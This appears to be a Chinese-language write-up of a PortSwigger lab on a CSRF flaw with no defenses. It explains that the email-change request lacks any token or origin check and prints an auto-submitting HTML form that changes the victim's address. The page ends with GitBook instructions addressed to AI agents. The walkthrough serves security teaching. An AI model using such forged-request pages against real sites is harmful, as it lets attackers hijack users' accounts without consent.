> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-vulnerability-with-no-defenses.md).

# 无防护的 CSRF 漏洞

无防护的 CSRF 漏洞笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 无防御的 CSRF 漏洞

#### 描述

该实验中的邮箱更改功能易受 CSRF 攻击。目标是伪造一个客户端请求，在未经同意的情况下更改受害用户的电子邮件地址。

#### 目标

创建能够执行 CSRF 攻击以更改访客电子邮件地址的 HTML 内容，然后将该内容上传到你的利用服务器。

#### 标识符

你可以使用以下账户登录：/ **wiener: peter**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-433f7f2dcf209e5ddd1a94a53f16be2bd8bee0d6%2F%7B1AC2D6A3-0A85-4891-BABB-8E732898CB4D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

在拦截时，可以观察到更改邮箱的请求是一个简单的 POST 请求，接受 `email` 参数。没有任何防 CSRF 保护（没有 token、没有 origin 等），因此可以从托管在利用服务器上的页面自动发送该表单。

#### 要上传到利用服务器的有效载荷 HTML

以下 HTML 创建了一个指向更改邮箱 URL 的表单，并在页面加载时自动提交：

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-vulnerability-with-no-defenses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
